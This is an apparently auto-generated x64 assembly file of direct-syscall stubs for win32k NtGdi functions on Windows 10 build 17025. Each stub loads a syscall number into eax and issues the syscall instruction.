_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIReclaimAllocations ENDP
; ULONG64 __stdcall NtGdiDdDDIReclaimAllocations2( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIReclaimAllocations2 PROC STDCALL
mov r10 , rcx
mov eax , 4634
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIReclaimAllocations2 ENDP
; ULONG64 __stdcall NtGdiDdDDIReleaseKeyedMutex( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIReleaseKeyedMutex PROC STDCALL
mov r10 , rcx
mov eax , 4635
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIReleaseKeyedMutex ENDP
; ULONG64 __stdcall NtGdiDdDDIReleaseKeyedMutex2( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIReleaseKeyedMutex2 PROC STDCALL
mov r10 , rcx
mov eax , 4636
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIReleaseKeyedMutex2 ENDP
; ULONG64 __stdcall NtGdiDdDDIReleaseProcessVidPnSourceOwners( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIReleaseProcessVidPnSourceOwners PROC STDCALL
mov r10 , rcx
mov eax , 4637
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIReleaseProcessVidPnSourceOwners ENDP
; ULONG64 __stdcall NtGdiDdDDIReleaseSwapChain( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIReleaseSwapChain PROC STDCALL
mov r10 , rcx
mov eax , 4638
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIReleaseSwapChain ENDP
; ULONG64 __stdcall NtGdiDdDDIRemoveSurfaceFromSwapChain( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIRemoveSurfaceFromSwapChain PROC STDCALL
mov r10 , rcx
mov eax , 4639
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIRemoveSurfaceFromSwapChain ENDP
; ULONG64 __stdcall NtGdiDdDDIRender( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIRender PROC STDCALL
mov r10 , rcx
mov eax , 4640
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIRender ENDP
; ULONG64 __stdcall NtGdiDdDDIReserveGpuVirtualAddress( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIReserveGpuVirtualAddress PROC STDCALL
mov r10 , rcx
mov eax , 4641
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIReserveGpuVirtualAddress ENDP
; ULONG64 __stdcall NtGdiDdDDISetAllocationPriority( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISetAllocationPriority PROC STDCALL
mov r10 , rcx
mov eax , 4642
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISetAllocationPriority ENDP
; ULONG64 __stdcall NtGdiDdDDISetContextInProcessSchedulingPriority( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISetContextInProcessSchedulingPriority PROC STDCALL
mov r10 , rcx
mov eax , 4643
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISetContextInProcessSchedulingPriority ENDP
; ULONG64 __stdcall NtGdiDdDDISetContextSchedulingPriority( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISetContextSchedulingPriority PROC STDCALL
mov r10 , rcx
mov eax , 4644
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISetContextSchedulingPriority ENDP
; ULONG64 __stdcall NtGdiDdDDISetDisplayMode( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISetDisplayMode PROC STDCALL
mov r10 , rcx
mov eax , 4645
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISetDisplayMode ENDP
; ULONG64 __stdcall NtGdiDdDDISetDisplayPrivateDriverFormat( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISetDisplayPrivateDriverFormat PROC STDCALL
mov r10 , rcx
mov eax , 4646
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISetDisplayPrivateDriverFormat ENDP
; ULONG64 __stdcall NtGdiDdDDISetDodIndirectSwapchain( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISetDodIndirectSwapchain PROC STDCALL
mov r10 , rcx
mov eax , 4647
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISetDodIndirectSwapchain ENDP
; ULONG64 __stdcall NtGdiDdDDISetFSEBlock( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISetFSEBlock PROC STDCALL
mov r10 , rcx
mov eax , 4648
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISetFSEBlock ENDP
; ULONG64 __stdcall NtGdiDdDDISetGammaRamp( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISetGammaRamp PROC STDCALL
mov r10 , rcx
mov eax , 4649
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISetGammaRamp ENDP
; ULONG64 __stdcall NtGdiDdDDISetHwProtectionTeardownRecovery( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISetHwProtectionTeardownRecovery PROC STDCALL
mov r10 , rcx
mov eax , 4650
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISetHwProtectionTeardownRecovery ENDP
; ULONG64 __stdcall NtGdiDdDDISetMemoryBudgetTarget( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISetMemoryBudgetTarget PROC STDCALL
mov r10 , rcx
mov eax , 4651
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISetMemoryBudgetTarget ENDP
; ULONG64 __stdcall NtGdiDdDDISetMonitorColorSpaceTransform( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISetMonitorColorSpaceTransform PROC STDCALL
mov r10 , rcx
mov eax , 4652
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISetMonitorColorSpaceTransform ENDP
; ULONG64 __stdcall NtGdiDdDDISetProcessDeviceRemovalSupport( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISetProcessDeviceRemovalSupport PROC STDCALL
mov r10 , rcx
mov eax , 4653
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISetProcessDeviceRemovalSupport ENDP
; ULONG64 __stdcall NtGdiDdDDISetProcessSchedulingPriorityBand( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISetProcessSchedulingPriorityBand PROC STDCALL
mov r10 , rcx
mov eax , 4654
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISetProcessSchedulingPriorityBand ENDP
; ULONG64 __stdcall NtGdiDdDDISetProcessSchedulingPriorityClass( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISetProcessSchedulingPriorityClass PROC STDCALL
mov r10 , rcx
mov eax , 4655
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISetProcessSchedulingPriorityClass ENDP
; ULONG64 __stdcall NtGdiDdDDISetQueuedLimit( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISetQueuedLimit PROC STDCALL
mov r10 , rcx
mov eax , 4656
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISetQueuedLimit ENDP
; ULONG64 __stdcall NtGdiDdDDISetStablePowerState( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISetStablePowerState PROC STDCALL
mov r10 , rcx
mov eax , 4657
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISetStablePowerState ENDP
; ULONG64 __stdcall NtGdiDdDDISetStereoEnabled( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISetStereoEnabled PROC STDCALL
mov r10 , rcx
mov eax , 4658
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISetStereoEnabled ENDP
; ULONG64 __stdcall NtGdiDdDDISetSyncRefreshCountWaitTarget( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISetSyncRefreshCountWaitTarget PROC STDCALL
mov r10 , rcx
mov eax , 4659
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISetSyncRefreshCountWaitTarget ENDP
; ULONG64 __stdcall NtGdiDdDDISetVidPnSourceHwProtection( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISetVidPnSourceHwProtection PROC STDCALL
mov r10 , rcx
mov eax , 4660
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISetVidPnSourceHwProtection ENDP
; ULONG64 __stdcall NtGdiDdDDISetVidPnSourceOwner( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISetVidPnSourceOwner PROC STDCALL
mov r10 , rcx
mov eax , 4661
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISetVidPnSourceOwner ENDP
; ULONG64 __stdcall NtGdiDdDDISetYieldPercentage( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISetYieldPercentage PROC STDCALL
mov r10 , rcx
mov eax , 4662
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISetYieldPercentage ENDP
; ULONG64 __stdcall NtGdiDdDDIShareObjects( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIShareObjects PROC STDCALL
mov r10 , rcx
mov eax , 4663
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIShareObjects ENDP
; ULONG64 __stdcall NtGdiDdDDISharedPrimaryLockNotification( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISharedPrimaryLockNotification PROC STDCALL
mov r10 , rcx
mov eax , 4664
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISharedPrimaryLockNotification ENDP
; ULONG64 __stdcall NtGdiDdDDISharedPrimaryUnLockNotification( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISharedPrimaryUnLockNotification PROC STDCALL
mov r10 , rcx
mov eax , 4665
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISharedPrimaryUnLockNotification ENDP
; ULONG64 __stdcall NtGdiDdDDISignalSynchronizationObject( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISignalSynchronizationObject PROC STDCALL
mov r10 , rcx
mov eax , 4666
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISignalSynchronizationObject ENDP
; ULONG64 __stdcall NtGdiDdDDISignalSynchronizationObjectFromCpu( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISignalSynchronizationObjectFromCpu PROC STDCALL
mov r10 , rcx
mov eax , 4667
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISignalSynchronizationObjectFromCpu ENDP
; ULONG64 __stdcall NtGdiDdDDISignalSynchronizationObjectFromGpu( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISignalSynchronizationObjectFromGpu PROC STDCALL
mov r10 , rcx
mov eax , 4668
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISignalSynchronizationObjectFromGpu ENDP
; ULONG64 __stdcall NtGdiDdDDISignalSynchronizationObjectFromGpu2( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISignalSynchronizationObjectFromGpu2 PROC STDCALL
mov r10 , rcx
mov eax , 4669
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISignalSynchronizationObjectFromGpu2 ENDP
; ULONG64 __stdcall NtGdiDdDDISubmitCommand( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISubmitCommand PROC STDCALL
mov r10 , rcx
mov eax , 4670
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISubmitCommand ENDP
; ULONG64 __stdcall NtGdiDdDDISubmitCommandToHwQueue( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISubmitCommandToHwQueue PROC STDCALL
mov r10 , rcx
mov eax , 4671
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISubmitCommandToHwQueue ENDP
; ULONG64 __stdcall NtGdiDdDDISubmitSignalSyncObjectsToHwQueue( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISubmitSignalSyncObjectsToHwQueue PROC STDCALL
mov r10 , rcx
mov eax , 4672
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISubmitSignalSyncObjectsToHwQueue ENDP
; ULONG64 __stdcall NtGdiDdDDISubmitWaitForSyncObjectsToHwQueue( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISubmitWaitForSyncObjectsToHwQueue PROC STDCALL
mov r10 , rcx
mov eax , 4673
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDISubmitWaitForSyncObjectsToHwQueue ENDP
; ULONG64 __stdcall NtGdiDdDDITrimProcessCommitment( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDITrimProcessCommitment PROC STDCALL
mov r10 , rcx
mov eax , 4674
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDITrimProcessCommitment ENDP
; ULONG64 __stdcall NtGdiDdDDIUnOrderedPresentSwapChain( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIUnOrderedPresentSwapChain PROC STDCALL
mov r10 , rcx
mov eax , 4675
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIUnOrderedPresentSwapChain ENDP
; ULONG64 __stdcall NtGdiDdDDIUnlock( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIUnlock PROC STDCALL
mov r10 , rcx
mov eax , 4676
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIUnlock ENDP
; ULONG64 __stdcall NtGdiDdDDIUnlock2( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIUnlock2 PROC STDCALL
mov r10 , rcx
mov eax , 4677
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIUnlock2 ENDP
; ULONG64 __stdcall NtGdiDdDDIUnpinDirectFlipResources( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIUnpinDirectFlipResources PROC STDCALL
mov r10 , rcx
mov eax , 4678
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIUnpinDirectFlipResources ENDP
; ULONG64 __stdcall NtGdiDdDDIUpdateAllocationProperty( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIUpdateAllocationProperty PROC STDCALL
mov r10 , rcx
mov eax , 4679
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIUpdateAllocationProperty ENDP
; ULONG64 __stdcall NtGdiDdDDIUpdateGpuVirtualAddress( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIUpdateGpuVirtualAddress PROC STDCALL
mov r10 , rcx
mov eax , 4680
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIUpdateGpuVirtualAddress ENDP
; ULONG64 __stdcall NtGdiDdDDIUpdateOverlay( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIUpdateOverlay PROC STDCALL
mov r10 , rcx
mov eax , 4681
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIUpdateOverlay ENDP
; ULONG64 __stdcall NtGdiDdDDIWaitForIdle( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIWaitForIdle PROC STDCALL
mov r10 , rcx
mov eax , 4682
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIWaitForIdle ENDP
; ULONG64 __stdcall NtGdiDdDDIWaitForSynchronizationObject( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIWaitForSynchronizationObject PROC STDCALL
mov r10 , rcx
mov eax , 4683
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIWaitForSynchronizationObject ENDP
; ULONG64 __stdcall NtGdiDdDDIWaitForSynchronizationObjectFromCpu( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIWaitForSynchronizationObjectFromCpu PROC STDCALL
mov r10 , rcx
mov eax , 4684
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIWaitForSynchronizationObjectFromCpu ENDP
; ULONG64 __stdcall NtGdiDdDDIWaitForSynchronizationObjectFromGpu( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIWaitForSynchronizationObjectFromGpu PROC STDCALL
mov r10 , rcx
mov eax , 4685
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIWaitForSynchronizationObjectFromGpu ENDP
; ULONG64 __stdcall NtGdiDdDDIWaitForVerticalBlankEvent( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIWaitForVerticalBlankEvent PROC STDCALL
mov r10 , rcx
mov eax , 4686
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIWaitForVerticalBlankEvent ENDP
; ULONG64 __stdcall NtGdiDdDDIWaitForVerticalBlankEvent2( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIWaitForVerticalBlankEvent2 PROC STDCALL
mov r10 , rcx
mov eax , 4687
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDDIWaitForVerticalBlankEvent2 ENDP
; ULONG64 __stdcall NtGdiDdDestroyFullscreenSprite( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDestroyFullscreenSprite PROC STDCALL
mov r10 , rcx
mov eax , 4688
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdDestroyFullscreenSprite ENDP
; ULONG64 __stdcall NtGdiDdNotifyFullscreenSpriteUpdate( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdNotifyFullscreenSpriteUpdate PROC STDCALL
mov r10 , rcx
mov eax , 4689
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdNotifyFullscreenSpriteUpdate ENDP
; ULONG64 __stdcall NtGdiDdQueryVisRgnUniqueness( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdQueryVisRgnUniqueness PROC STDCALL
mov r10 , rcx
mov eax , 4690
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDdQueryVisRgnUniqueness ENDP
; ULONG64 __stdcall NtGdiDeleteColorTransform( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDeleteColorTransform PROC STDCALL
mov r10 , rcx
mov eax , 4691
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDeleteColorTransform ENDP
; ULONG64 __stdcall NtGdiDescribePixelFormat( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDescribePixelFormat PROC STDCALL
mov r10 , rcx
mov eax , 4692
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDescribePixelFormat ENDP
; ULONG64 __stdcall NtGdiDestroyOPMProtectedOutput( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDestroyOPMProtectedOutput PROC STDCALL
mov r10 , rcx
mov eax , 4693
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDestroyOPMProtectedOutput ENDP
; ULONG64 __stdcall NtGdiDestroyPhysicalMonitor( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDestroyPhysicalMonitor PROC STDCALL
mov r10 , rcx
mov eax , 4694
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDestroyPhysicalMonitor ENDP
; ULONG64 __stdcall NtGdiDoBanding( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDoBanding PROC STDCALL
mov r10 , rcx
mov eax , 4695
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDoBanding ENDP
; ULONG64 __stdcall NtGdiDrawEscape( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDrawEscape PROC STDCALL
mov r10 , rcx
mov eax , 4696
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDrawEscape ENDP
; ULONG64 __stdcall NtGdiDwmCreatedBitmapRemotingOutput( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDwmCreatedBitmapRemotingOutput PROC STDCALL
mov r10 , rcx
mov eax , 4697
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDwmCreatedBitmapRemotingOutput ENDP
; ULONG64 __stdcall NtGdiEllipse( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEllipse PROC STDCALL
mov r10 , rcx
mov eax , 4698
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEllipse ENDP
; ULONG64 __stdcall NtGdiEnableEudc( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEnableEudc PROC STDCALL
mov r10 , rcx
mov eax , 4699
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEnableEudc ENDP
; ULONG64 __stdcall NtGdiEndDoc( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEndDoc PROC STDCALL
mov r10 , rcx
mov eax , 4700
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEndDoc ENDP
; ULONG64 __stdcall NtGdiEndGdiRendering( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEndGdiRendering PROC STDCALL
mov r10 , rcx
mov eax , 4701
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEndGdiRendering ENDP
; ULONG64 __stdcall NtGdiEndPage( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEndPage PROC STDCALL
mov r10 , rcx
mov eax , 4702
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEndPage ENDP
; ULONG64 __stdcall NtGdiEngAlphaBlend( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngAlphaBlend PROC STDCALL
mov r10 , rcx
mov eax , 4703
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngAlphaBlend ENDP
; ULONG64 __stdcall NtGdiEngAssociateSurface( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngAssociateSurface PROC STDCALL
mov r10 , rcx
mov eax , 4704
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngAssociateSurface ENDP
; ULONG64 __stdcall NtGdiEngBitBlt( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngBitBlt PROC STDCALL
mov r10 , rcx
mov eax , 4705
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngBitBlt ENDP
; ULONG64 __stdcall NtGdiEngCheckAbort( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngCheckAbort PROC STDCALL
mov r10 , rcx
mov eax , 4706
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngCheckAbort ENDP
; ULONG64 __stdcall NtGdiEngComputeGlyphSet( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngComputeGlyphSet PROC STDCALL
mov r10 , rcx
mov eax , 4707
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngComputeGlyphSet ENDP
; ULONG64 __stdcall NtGdiEngCopyBits( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngCopyBits PROC STDCALL
mov r10 , rcx
mov eax , 4708
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEngCopyBits ENDP
